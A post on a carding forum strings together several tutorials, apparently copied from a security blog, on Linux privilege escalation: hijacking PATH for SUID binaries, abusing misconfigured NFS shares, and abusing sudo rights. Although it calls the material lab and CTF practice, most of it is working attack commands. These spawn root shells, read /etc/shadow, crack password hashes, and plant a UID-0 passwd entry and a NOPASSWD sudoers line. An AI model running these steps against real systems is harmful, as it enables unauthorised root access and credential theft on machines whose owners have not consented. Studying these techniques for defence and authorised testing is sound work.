| Welcome, Guest |
You have to register before you can post on our site.
|
| Forum Statistics |
» Members: 114,296
» Latest member: Visionjhy
» Forum threads: 13,082
» Forum posts: 20,983
Full Statistics
|
|
|
| [Guide] How to Linux Privilege Escalation Using PATH Variable |
|
Posted by: NINZA - 05-14-2020, 08:53 AM - Forum: Carders Home
- No Replies
|
 |
After solving several OSCP Challenges, we have decided to write an article on the various methods used for Linux privilege escalation, that can be helpful for our readers in their penetration testing project. In this article, we will learn “various methods to manipulate $PATH variable” to gain root access of a remote host machine and the techniques used by CTF challenges to generate $PATH vulnerability that leads to Privilege escalation. If you have solved CTF challenges for Post exploit then by reading this article you will realize the several loopholes that lead to privileges escalation.
Let’s Start!!
Introduction
PATH is an environmental variable in Linux and Unix-like operating systems which specifies all bin and sbin directories that hold all executable programs are stored. When the user run any command on the terminal, its request to the shell to search for executable files with the help of PATH Variable in response to commands executed by a user. The superuser also usually has /sbin and /usr/sbin entries for easily executing system administration commands.
It is very simple to view the Path of the relevant user with help of echo command.
echo $PATH
1
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
If you notice ‘.’ in environment PATH variable it means that the logged user can execute binaries/scripts from the current directory and it can be an excellent technique for an attacker to escalate root privilege. This is due to lack of attention while writing program thus admin does not specify the full path to the program.
Method 1
Ubuntu LAB SET_UP
Currently, we are in /home/raj directory where we will create a new directory with the name as the script. Now inside the script directory, we will write a small c program to call a function of system binaries.
pwd
mkdir script
cd script
nano demo.c
1
2
3
4
pwd
mkdir script
cd script
nano demo.c
![[Image: 1.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-Zaw_2etdP_0/WxAn56h3D9I/AAAAAAAAXHU/JKxyOvFHD1smIdgPBXOl03NT8rqt-bYiQCLcBGAs/s1600/1.png?w=687)
As you can observe in our demo.c file we are calling ps command (Process status) which is system binaries.
![[Image: 2.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-ZS5PcnHv-y0/WxAn9E26iiI/AAAAAAAAXIA/IDsA-_O3rtQtY6PnwH_Qq78vzj3oiQpcACLcBGAs/s1600/2.png?w=687)
After then compile the demo.c file using gcc and promote SUID permission to the compiled file.
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
1
2
3
4
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
![[Image: 3.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-n8T1J_83CN8/WxAn9h6c06I/AAAAAAAAXIM/KsS5dXsUVOkPt5D9FmdguBWZtKdpQEEsACLcBGAs/s1600/3.png?w=687)
Privilege Escalation
First, you need to compromise the target system and then move to the privilege escalation phase. Suppose you successfully login into the victim’s machine through ssh. Then without wasting your time search for the file having SUID or 4000 permission with help of Find command.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Hence with the help of above command, an attacker can enumerate any executable file, here we can also observe /home/raj/script/shell having suid permissions.
![[Image: 4.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-vse5k3wC2vY/WxAn-t96h-I/AAAAAAAAXIQ/f-DKmexk3Q4etsBEfPelBX6znfwzM4AxgCLcBGAs/s1600/4.png?w=687)
Then we move into /home/raj/script and saw an executable file “shell”. So we run this file, and here it looks like this file is trying to run ps and this is a genuine file inside /bin to get Process status.
ls
./shell
1
2
ls
./shell
![[Image: 5.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-IwbWhA2ER-I/WxAn-on1zWI/AAAAAAAAXIU/4dGpp_KzsI0VoaYz6RZ2Kz0IfZk1njN7QCLcBGAs/s1600/5.png?w=687)
Echo Command -1st Technique to spawn root privilege
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
1
2
3
4
5
6
7
8
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
![[Image: 6.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-Xo36EwkBugU/WxAn-sEstEI/AAAAAAAAXIY/j3WyAdQm_CoKsPbJyen1sRA7lkhvAd9GQCLcBGAs/s1600/6.png?w=687)
Copy Command -2nd Technique to spawn root privilege
cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
1
2
3
4
5
6
cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
![[Image: 7.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-gp30RvuO5zc/WxAn_dAdvLI/AAAAAAAAXIc/saQ8C0c0yGEC4dLM35uumebTvCZgE4Y0wCLcBGAs/s1600/7.png?w=687)
Symlink command -3rd Technique to spawn root privilege
ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami
1
2
3
4
5
ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami
NOTE: symlink is also known as symbolic links that will work successfully if the directory has full permission. In Ubuntu, we had given permission 777 to /script directory in the case of a symlink.
Thus we saw to an attacker can manipulate environment variable PATH for privileges escalation and gain root access.
![[Image: 8.1.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-TtIx2YYqvbs/WxAn_RGE6wI/AAAAAAAAXIg/0UEEluI0BCUzsOaMA4Z38SfSH9-pekCtgCLcBGAs/s1600/8.1.png?w=687)
Method 2
Ubuntu LAB SET_UP
Repeat the same steps as above for configuring your own lab and now inside script directory, we will write a small c program to call a function of system binaries.
pwd
mkdir script
cd /script
nano test.c
1
2
3
4
pwd
mkdir script
cd /script
nano test.c
As you can observe in our test.c file we are calling id command which is system binaries.
![[Image: 8.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-vHinbdvDabM/WxAn_lfBXsI/AAAAAAAAXIk/1avufsarIHEyuDqxFCb7lpSNK9Jji06ZQCLcBGAs/s1600/8.png?w=687)
After then compile the test.c file using gcc and promote SUID permission to the compiled file.
ls
gcc test.c -o shell2
chmod u+s shell2
ls -la shell2
1
2
3
4
ls
gcc test.c -o shell2
chmod u+s shell2
ls -la shell2
![[Image: 9.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-JUe6hutiV3g/WxAoAHMYWII/AAAAAAAAXIo/kBXJejTuSqQXnCPc8l4rTF-NHBSp3Vg-gCLcBGAs/s1600/9.png?w=687)
Privilege Escalation
Again, you need to compromise the target system and then move to the privilege escalation phase. Suppose you successfully login into the victim’s machine through ssh. Then without wasting your time search for the file having SUID or 4000 permission with help of Find command. Here we can also observe /home/raj/script/shell2 having suid permissions.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Then we move into /home/raj/script and saw an executable file “shell2”. So we run this file, it looks like the file shell2 is trying to run id and this is a genuine file inside /bin.
cd /home/raj/script/
ls
./shell2
1
2
3
cd /home/raj/script/
ls
./shell2
![[Image: 10.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-G4OkXjjDnWM/WxAn6PA9xmI/AAAAAAAAXHc/rkDnP5DmD4gJOzCfG0jW11iXWI2hxAGAgCLcBGAs/s1600/10.png?w=687)
Echo command
cd /tmp
echo "/bin/bash" > id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami
1
2
3
4
5
6
7
8
cd /tmp
echo "/bin/bash" > id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami
![[Image: 11.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-Hz4MjXXcqag/WxAn5yDNKaI/AAAAAAAAXHY/J9rjSSy2u785Gk8jmlF-a48AA0l_q32wgCLcBGAs/s1600/11.png?w=687)
Method 3
Ubuntu LAB SET_UP
Repeat above step for setting your own lab and as you can observe in our raj.c file we are calling cat command to read the content from inside etc/passwd file.
![[Image: 12.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-fYfwjX-qEl8/WxAn6l5DNcI/AAAAAAAAXHg/nXvD-P5XlA0qIg_B2CUpuuCOR8QMSI9uACLcBGAs/s1600/12.png?w=687)
After then compile the raj.c file using gcc and promote SUID permission to the compiled file.
ls
gcc raj.c -o raj
chmod u+s raj
ls -la raj
1
2
3
4
ls
gcc raj.c -o raj
chmod u+s raj
ls -la raj
![[Image: 13.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-4qOOPXKxxBw/WxAn630Fx_I/AAAAAAAAXHk/m4nl-4Luh701ByJaGNFtBiMAbR673IbwwCLcBGAs/s1600/13.png?w=687)
Privilege Escalation
Again compromised the Victim’s system and then move for privilege escalation phase and execute the below command to view sudo user list.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Here we can also observe /home/raj/script/raj having suid permissions, then we move into /home/raj/script and saw an executable file “raj”. So when we run this file it put-up etc/passwd file as result.
cd /home/raj/script/
ls
./raj
1
2
3
cd /home/raj/script/
ls
./raj
![[Image: 14.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-jp58aRZ1csg/WxAn7d9PvII/AAAAAAAAXHo/wr37ZkegYQw5wEQwbtauRt__EX2U1P3JQCLcBGAs/s1600/14.png?w=687)
Nano Editor – 4th Technique to Privilege Escalation
cd /tmp
nano cat
1
2
cd /tmp
nano cat
Now type /bin/bash when terminal get open and save it.
![[Image: 15.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-Ww5KEBTjkS0/WxAn7Q3tqUI/AAAAAAAAXHs/knuCBX_3RkYyxMqrAs0kKn6zUqTdsxi4QCLcBGAs/s1600/15.png?w=687)
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami
1
2
3
4
5
6
7
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami
![[Image: 16.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-9b2zZovo6kY/WxAn7nYo0WI/AAAAAAAAXHw/Ceug0Kzgw2ckZ2YJL1MvB_9-rFixmK8ygCLcBGAs/s1600/16.png?w=687)
Method 4
Ubuntu LAB SET_UP
Repeat above step for setting your own lab and as you can observe in our demo.c file we are calling cat command to read msg.txt which is inside /home/raj but there is no such file inside /home/raj.
![[Image: 17.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-8eo4ZI5Upx0/WxAn8Ni7gSI/AAAAAAAAXH0/b8Py7D7pXLw1yjNTkU5YOgRBd6WVpnkggCLcBGAs/s1600/17.png?w=687)
After then compile the demo.c file using gcc and promote SUID permission to the compiled file.
ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite
1
2
3
4
ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite
![[Image: 18.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-EI9DYxMRTpk/WxAn8nyNkuI/AAAAAAAAXH4/Q9XfiVxJUOIrNY5SBAJjA1eUXIIM9GTJACLcBGAs/s1600/18.png?w=687)
Privilege Escalation
Once again compromised the Victim’s system and then move for privilege escalation phase and execute the below command to view sudo user list.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Here we can also observe /home/raj/script/ignite having suid permissions, then we move into /home/raj/script and saw an executable file “ignite”. So when we run this file it put-up an error “cat: /home/raj/msg.txt” as result.
cd /home/raj/script/
ls
./ignite
1
2
3
cd /home/raj/script/
ls
./ignite
![[Image: 19.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-zsHc7jVy5h4/WxAn8wo-uhI/AAAAAAAAXH8/TGGznmHHLsQwDk4mZz4onAc11NMXbU2rACLcBGAs/s1600/19.png?w=687)
Vi Editor -5th Technique to Privilege Escalation
cd /tmp
vi cat
1
2
cd /tmp
vi cat
Now type /bin/bash when the terminal gets open and saves it.
![[Image: 20.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-r5hF6jZCOaI/WxAn9eynNeI/AAAAAAAAXIE/-UacPdOO2i0pvvmJw1cp5qCUZJs5yVm4ACLcBGAs/s1600/20.png?w=687)
chmod 777 cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami
1
2
3
4
5
6
chmod 777 cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami
![[Image: 21.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-Hg9GsQZ7mhM/WxAn9n9SAEI/AAAAAAAAXII/tit5acsD5_AqauHA0jMHcSUq_9FsECiFQCLcBGAs/s1600/21.png?w=687)
After solving several OSCP Challenges we decided to write an article on the various methods used for Linux privilege escalation, which can be helpful for our readers in their penetration testing projects. In this article, we will learn how to exploit a misconfigured NFS share to gain root access to a remote host machine.
Table of Contents
Introduction of NFS
Misconfigured NFS Lab setup
Scanning NFS shares
Exploiting NFS server for Privilege Escalation via:
Bash file
C program file
Nano/vi- Obtain a shadow file
- Obtain passwd file
- Obtain sudoers file
Let’s Start!!
Network File System (NFS): Network File System permits a user on a client machine to mount the shared files or directories over a network. NFS uses Remote Procedure Calls (RPC) to route requests between clients and servers. Although NFS uses TCP/UDP port 2049 for sharing any files/directories over a network.
Misconfigured NFS Lab setup
Basically, there are three core configuration files (/etc/exports, /etc/hosts.allow, and /etc/hosts.deny) you will need to configure to set up an NFS server. But to configure weak NFS server we will look only /etc/export file.
To install NFS service; execute below command in your terminal and open /etc/export file for configuration.
sudo apt-get update
sudo apt install nfs-kernel-server
nano /etc/exports
1
2
3
sudo apt-get update
sudo apt install nfs-kernel-server
nano /etc/exports
The /etc/exports file holds a record for each directory that you expect to share within a network machine. Each record describes how one directory or file is shared.
Apply basic syntax for configuration:
Directory Host-IP(Option-list)
There are various options will define which type of Privilege that machine will have over shared directory.- rw: Permit clients to read as well as write access to the shared directory.
- ro: Permit clients to Read-only access to shared directory..
- root_squash: This option Prevents file request made by user root on the client machine because NFS shares change the root user to the nfsnobody user, which is an unprivileged user account.
- no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implication.
- async: It will speed up transfers but can cause data corruption as NFS server doesn’t wait for the complete write operation to be finished on the stable storage, before replying to the client.
- sync: The sync option does the inverse of async option where the NFS server will reply to the client only after the data is finally written to the stable storage.
![[Image: 2.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-3RObJ0i4tFw/WwmIfES5mAI/AAAAAAAAXDU/P8ft9HtVN1M89gDQV-wC8DME_4Lr72fbgCLcBGAs/s1600/2.png?w=687)
Hopefully, it might be clear to you, how to configure the /etc/export file by using a particular option. An NFS system is considered weak or Misconfigured when following entry/record is edit into it for sharing any directory.
/home *(rw,no_root_squash)
1
/home *(rw,no_root_squash)
Above entry shows that we have shared /home directory and allowed the root user on the client to access files to read/ write operation and * sign denotes connection from any Host machine. After then restart the service with help of the following command.
sudo /etc/init.d/nfs-kernel-server restart
1
sudo /etc/init.d/nfs-kernel-server restart
![[Image: 3.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-Psm3Ce1TbkQ/WwmIgCB-k3I/AAAAAAAAXDg/hJv_irFucHgXlU7FiV8ITmXMG8pHAKRjgCLcBGAs/s1600/3.png?w=687)
Scanning NFS shares
Nmap
You can take help of Nmap script to scan NFS service in target network because it reveals the name of share directory of the target’s system if port 2049 is opened.
nmap -sV --script=nfs-showmount 192.168.1.102
1
nmap -sV --script=nfs-showmount 192.168.1.102
![[Image: 4.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-IzcfdrmNx8g/WwmIgeOnh6I/AAAAAAAAXDk/3L4fLS7K6CAR4XELB-SsyqpzcdzghByWQCLcBGAs/s1600/4.png?w=687)
Basically nmap exports showmount -e command to identify the shared directory and here we can clearly observe /home * is shared directory for everyone in the network.
Showmount
The same thing can be done manually by using showmount command but for that install the nfs-common package on your local machine with help of the following command.
apt-get install nfs-common
showmount -e 192.168.1.102
1
2
apt-get install nfs-common
showmount -e 192.168.1.102
![[Image: 5.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-dRCjUF9g0GQ/WwmIgTOpINI/AAAAAAAAXDo/lA9BrkfsqTIaWfW1Vo73IFK66I7FG4q2ACLcBGAs/s1600/5.png?w=687)
Exploiting NFS server for Privilege Escalation
Bash file
Now execute below command on your local machine to exploit NFS server for root privilege.
mkdir /tmp/raj
mount -t nfs 192.168.1.102:/home /tmp/raj
cp /bin/bash .
chmod +s bash
ls -la bash
1
2
3
4
5
mkdir /tmp/raj
mount -t nfs 192.168.1.102:/home /tmp/raj
cp /bin/bash .
chmod +s bash
ls -la bash
Above command will create a new folder raj inside /tmp and mount shared directory /home inside /tmp/raj. Then upload a local exploit to gain root by copying bin/bash and set suid permission.
![[Image: 6.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-zQlzIW8cLzA/WwmIgp4PvDI/AAAAAAAAXDs/JswafgeQ5RQFI6OWEaCfl3i-HIsXbiw5wCLcBGAs/s1600/6.png?w=687)
Use df -h command to get a summary of the amount of free disk space on each mounted disk.
![[Image: 7.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-TJDvdKjKhvs/WwmIhKNWmJI/AAAAAAAAXDw/hFGitzP0aYoGiAwgI_67SsyzyNuLTKvDgCLcBGAs/s1600/7.png?w=687)
First, you need to compromise the target system and then move to the privilege escalation phase. Suppose you have successfully login into victim’s machine through ssh. Now we know that /home is shared directory, therefore, move inside it and follow below steps to get root access of victim’s machine.
cd /home
ls
./bash -p
id
whoami
1
2
3
4
5
cd /home
ls
./bash -p
id
whoami
So, it was the first method to pwn the root access with help of bin/bash if NFS system is configured weak.
![[Image: 8.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-4br743QnSnw/WwmIhQ-6AsI/AAAAAAAAXD4/I-H8V1XBNWY7NiEvxTHCEFCLBCAuAY8-wCLcBGAs/s1600/8.png?w=687)
C Program
Similarly, we can use C language program file for root privilege escalation. We have generated a C-Program file and copied it into /tmp/raj folder. Since it is c program file therefore first we need to compile it and then set suid permission as done above.
cp asroot.c /tmp/raj
cd /tmp/raj
gcc asroot.c -o shell
chmod +s shell
1
2
3
4
cp asroot.c /tmp/raj
cd /tmp/raj
gcc asroot.c -o shell
chmod +s shell
![[Image: 9.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-Mh9uIJHsJpE/WwmIhbgdDFI/AAAAAAAAXD0/PKfYdtrez0g0zUCbDp0Boxrtd10NkaDYwCLcBGAs/s1600/9.png?w=687)
Now repeat the above process and run shell file to obtained root access.
cd /home
ls
./shell
id
whoami
1
2
3
4
5
cd /home
ls
./shell
id
whoami
So, it was the second method to pwn the root access with help of bin/bash via c-program if NFS system is misconfigured.
![[Image: 10.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-vjjPHLvuNl8/WwmIdRqYtJI/AAAAAAAAXC4/44k9wiaE5DUb75lhfkC-92i-HDh3eS7vACLcBGAs/s1600/10.png?w=687)
Nano/Vi
Nano and vi editor both are most dangerous applications that can lead to privilege escalation if share directly or indirectly. In our case, it not shared directly but still, we can use any application for exploiting root access.
Follow the below steps:
cp /bin/nano .
chmod 4777 nano
ls -la nano
1
2
3
cp /bin/nano .
chmod 4777 nano
ls -la nano
![[Image: 11.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-ryKWry1LjTQ/WwmIdaTIZwI/AAAAAAAAXC0/yyQyXw5SZ9Mm36dQYTLPGa71i5J1USlnACLcBGAs/s1600/11.png?w=687)
Since we have set suid permission to nano therefore after compromising target’s machine at least once we can escalate root privilege through various techniques.
cd /home
ls
./nano -p /etc/shadow
1
2
3
cd /home
ls
./nano -p /etc/shadow
![[Image: 12.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-WHOuHnvlnmQ/WwmIdQZcSoI/AAAAAAAAXCw/Z1VylL5Zpk4c1XJ00471kDdE_d8BcSZ-gCLcBGAs/s1600/12.png?w=687)
When you will execute the above command it will open the shadow file, from where you can copy the hash password of any user.
![[Image: 13.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-2xOpfwfVmII/WwmIeJI46oI/AAAAAAAAXC8/RVEEXKkJx2Ah3OLjMk-MQ9td12lW23WdQCLcBGAs/s1600/13.png?w=687)
Here I have copied hash password of the user: raj in a text file and saved as shadow then use john the ripper to crack that hash password.
Awesome!!! It tells raj having password 123. Now either you can login as raj and verify its privilege or follow the next step.
![[Image: 14.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-emOpzq3UhPw/WwmIeVmVrkI/AAAAAAAAXDA/7KfOobOlg88-lgn0Ycaaqfb8eg1rHPZjgCLcBGAs/s1600/14.png?w=687)
Passwd file
Now we know the password of raj user but we are not sure that raj has root privilege or not, therefore, we can add raj into the root group by editing etc/passwd file.
![[Image: 16.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-e8mCykFcD0M/WwmIef861OI/AAAAAAAAXDE/CWum9U42QHMgywx6wvNLfo78e9lAcnMQwCLcBGAs/s1600/16.png?w=687)
Open the passwd file with help of nano and make the following changes
./nano -p etc/passwd
raj:x:0:0:,,,:/home/raj:/bin/bash
1
2
./nano -p etc/passwd
raj:x:0:0:,,,:/home/raj:/bin/bash
![[Image: 17.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-Y6BOfl-FggE/WwmIetdFtPI/AAAAAAAAXDI/d_vxpyRPt2YMuUs5V1u5hqbMjUcwxfw_QCLcBGAs/s1600/17.png?w=687)
Now use su command to switch user and enter the password found for raj.
su raj
id
whoami
1
2
3
su raj
id
whoami
Great!!! This was another way to get root access to the target machine.
![[Image: 18.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-C1HTFSPX82I/WwmIeypiRFI/AAAAAAAAXDQ/T9nMdj7MrxIc9BucaggNSdL4y2Q2VZPqwCLcBGAs/s1600/18.png?w=687)
Sudoers file
We can also escalate root privilege by editing the sudoers file where we can assign ALL privilege to our non-root user (ignite).
![[Image: 19.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-vdgApaPMaLk/WwmIe_VPXjI/AAAAAAAAXDM/f9hpZ4i6xKs6fGXnxq0hUdAe7PrN9ud-wCLcBGAs/s1600/19.png?w=687)
Open the sudoers file with help of nano and make the following changes
./nano -p /etc/sudoers
ignite ALL=(ALL:ALL) NOPASSWD: ALL
1
2
./nano -p /etc/sudoers
ignite ALL=(ALL:ALL) NOPASSWD: ALL
![[Image: 20.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-SRNna4CUrzU/WwmIfrQbcgI/AAAAAAAAXDY/iahEg9X1OCQJkfOzly76aUvvzIga--6jwCLcBGAs/s1600/20.png?w=687)
Now use sudo bash command to access root terminal and get root privilege
sudo bash
id
whoami
1
2
3
sudo bash
id
whoami
![[Image: 21.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-G16v8qFXtIE/WwmIf5RxeWI/AAAAAAAAXDc/rjRv-4bUCGAhW9z1ipzV2qTQoIxXmgBSgCLcBGAs/s1600/21.png?w=687)
Conclusion: Thus we saw the various approach to escalated root privilege if port 2049 is open for NFS services and server is poorly configured. For your practice, you can play with ORCUS which is a vulnerable lab of vulnhub and read the article from [To see content please register here] .
In our previous articles, we have discussed Linux Privilege Escalation using [To see content please register here] and [To see content please register here] file and today we are posting another method of “Linux privilege Escalation using Sudoers file”. While solving CTF challenges, for privilege escalation we always check root permissions for any user to execute any file or command by executing sudo -l command. You can read our previous article where we had applied this trick for privilege escalation.
Let’s Start with Theoretical Concept!!
In Linux/Unix, a sudoers file inside /etc is the configuration file for sudo rights. We all know the power of sudo command, the word sudo represent Super User Do root privilege task. Sudoers file is that file where the users and groups with root privileges are stored to run some or all commands as root or another user. Take a look at the following image.
![[Image: 1.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-ai15msp43M8/WwZTT0rFHcI/AAAAAAAAXAk/8gow32i4VOEH9AcjKl5WCQrjiAeXU_K3gCLcBGAs/s1600/1.png?w=687)
When you run any command along with sudo, it needs root privileges for execution, Linux checks that particular username within the sudoers file. And it concluded, that the particular username is in the list of sudoers file or not, if not then you cannot run the command or program using the sudo command. As per sudo rights the root user can execute from ALL terminals, acting as ALL users: ALL group, and run ALL command.
Sudoer File Syntax
If you (root user) wish to grant sudo right to any particular user then type visudo command which will open the sudoers file for editing. Under “user privilege specification” you will observe default root permission “root ALL=(ALL:ALL) ALL” BUT in actual, there is Tag option also available which is optional, as explained below in the following image.
Consider the given example where we want to assign sudo rights for user:raaz to access the terminal and run copy command with root privilege. Here NOPASSWD tag that means no password will be requested for the user.
NOTE:
- (ALL:ALL) can also represent as (ALL)
- If you found (root) in place of (ALL:ALL) then it denotes that user can run the command as root.
- If nothing is a mention for user/group then it means sudo defaults to the root user.
![[Image: 2.1.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-7HdHllzAXZU/WwZTV0yMDYI/AAAAAAAAXBA/6gOuaUG5b70GfAgtusuMxqPpX5Ji1rRCgCLcBGAs/s1600/2.1.png?w=687)
Let’s Begin!!
Let’s get into deep through practical work. First, create a user which should be not the sudo group user. Here we have added user “raaz” who’s UID is 1002 and GID is 1002 and hence raaz is non-root user.
![[Image: 2.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-tNdRkLfQ2nY/WwZTWlBpKvI/AAAAAAAAXBM/5F70LWFsLzkRXxJnUgg71dMenx8t511oACLcBGAs/s1600/2.png?w=687)
Traditional Method to assign Root Privilege
If the system administrator wants to give ALL permission to user raaz then he can follow the below steps to add user raaz under User Privilege Specification category.
visudo
raaz ALL=(ALL:ALL) ALL
or
raaz ALL=(ALL) ALL
1
2
3
4
visudo
raaz ALL=(ALL:ALL) ALL
or
raaz ALL=(ALL) ALL
![[Image: 3.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-8gR4nPSYyN4/WwZTYl9f9gI/AAAAAAAAXBw/z07NheXnc9g2zwdl28IyMfC60QGcMoubwCLcBGAs/s1600/3.png?w=687)
Spawn Root Access
On other hands start your attacking machine and first compromise the target system and then move to privilege escalation phase. Suppose you successfully login into victim’s machine through ssh and want to know sudo rights for the current user then execute below command.
sudo -l
1
sudo -l
In the traditional method, PASSWD option is enabled for user authentication while executing the above command and it can be disabled by using NOPASSWD tag. The highlighted text is indicating that the current user is authorized to execute all command. Therefore we have obtained root access by executing the command.
sudo su
id
1
2
sudo su
id
![[Image: 4.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-PaDxpIQHpC0/WwZTYh9QDeI/AAAAAAAAXB0/RDKrrFIzhZIvjFzzK3mruBWajVmnO_XPgCLcBGAs/s1600/4.png?w=687)
Default Method to assign Root Privilege
If the system administrator wants to give root permission to user raaz to execute all command and program then he can follow below steps to add user raaz under User Privilege Specification category.
visudo
raaz ALL=ALL
or
raaz ALL=(root) ALL
1
2
3
4
visudo
raaz ALL=ALL
or
raaz ALL=(root) ALL
Here also Default PASSWD option is enabled for authentication.
![[Image: 5.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-0nLnf6gx1Pg/WwZTZJFCoXI/AAAAAAAAXB4/2M6_S8Xe7n09E_QRSIsg3uoQSUbgKJLnACLcBGAs/s1600/5.png?w=687)
Spawn Root Access
Again compromise the target system and then move for privilege escalation stage as done above and execute the below command to view sudo user list.
sudo -l
1
sudo -l
Here you can perceive the highlighted text which is representative that the user raaz can run all command as root user. Therefore we can achieve root access by performing further down steps.
sudo su
or
sudo bash
1
2
3
sudo su
or
sudo bash
Note: Above both methods will ask user’s password for authentication at the time of execution of sudo -l command because by Default PASSWD option is enabled.
![[Image: 7.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-KXDRut3kQus/WwZTZNK3NNI/AAAAAAAAXB8/RRF95tp-9NAU_EAfMLLvwjuP6oNEdbbHQCLcBGAs/s1600/7.png?w=687)
Allow Root Privilege to Binary commands
Sometimes the user has the authorization to execute any file or command of a particular directory such as /bin/cp, /bin/cat or /usr/bin/ find, this type of permission lead to privilege escalation for root access and it can be implemented with help of following steps.
raaz ALL=(root) NOPASSWD: /usr/bin/find
1
raaz ALL=(root) NOPASSWD: /usr/bin/find
NOTE: Here NOPASSWD tag that means no password will be requested for the authentication while running sudo -l command.
![[Image: 9.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-Tk94o7a16NE/WwZTZV-l89I/AAAAAAAAXCA/XZbgrAJlBj0uFGo0fkqW_aCUFqc3WFtawCLcBGAs/s1600/9.png?w=687)
Spawn Root Access using Find Command
Again compromised the Victim’s system and then move for privilege escalation phase and execute below command to view sudo user list.
sudo -l
1
sudo -l
At this point, you can notice the highlighted text is indicating that the user raaz can run any command through find command. Therefore we got root access by executing below commands.
sudo find /home -exec /bin/bash \;
id
1
2
sudo find /home -exec /bin/bash \;
id
Allow Root Privilege to Binary Programs
Sometimes admin assigns delicate authorities to a particular user to run binary programs which allow a user to edit any system files such as /etc/passwd and so on. There are certain binary programs which can lead to privilege escalation if authorized to a user. In given below command we have assign sudo rights to the following program which can be run as root user.
raaz ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi
1
raaz ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi
![[Image: 12.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-GKkj4eDCVBc/WwZTT_mo7XI/AAAAAAAAXAc/iLxoOjqCJl4LPJKwcYgPXp3tiWNUHzv-QCLcBGAs/s1600/12.png?w=687)
Spawn shell using Perl
At the time of privilege, escalation phase executes below command to view the sudo user list.
sudo -l
1
sudo -l
Now you can observe the highlighted text is showing that the user raaz can run Perl language program or script as root user. Therefore we got root access by executing Perl one-liner.
sudo perl -e 'exec "/bin/bash";'
id
1
2
sudo perl -e 'exec "/bin/bash";'
id
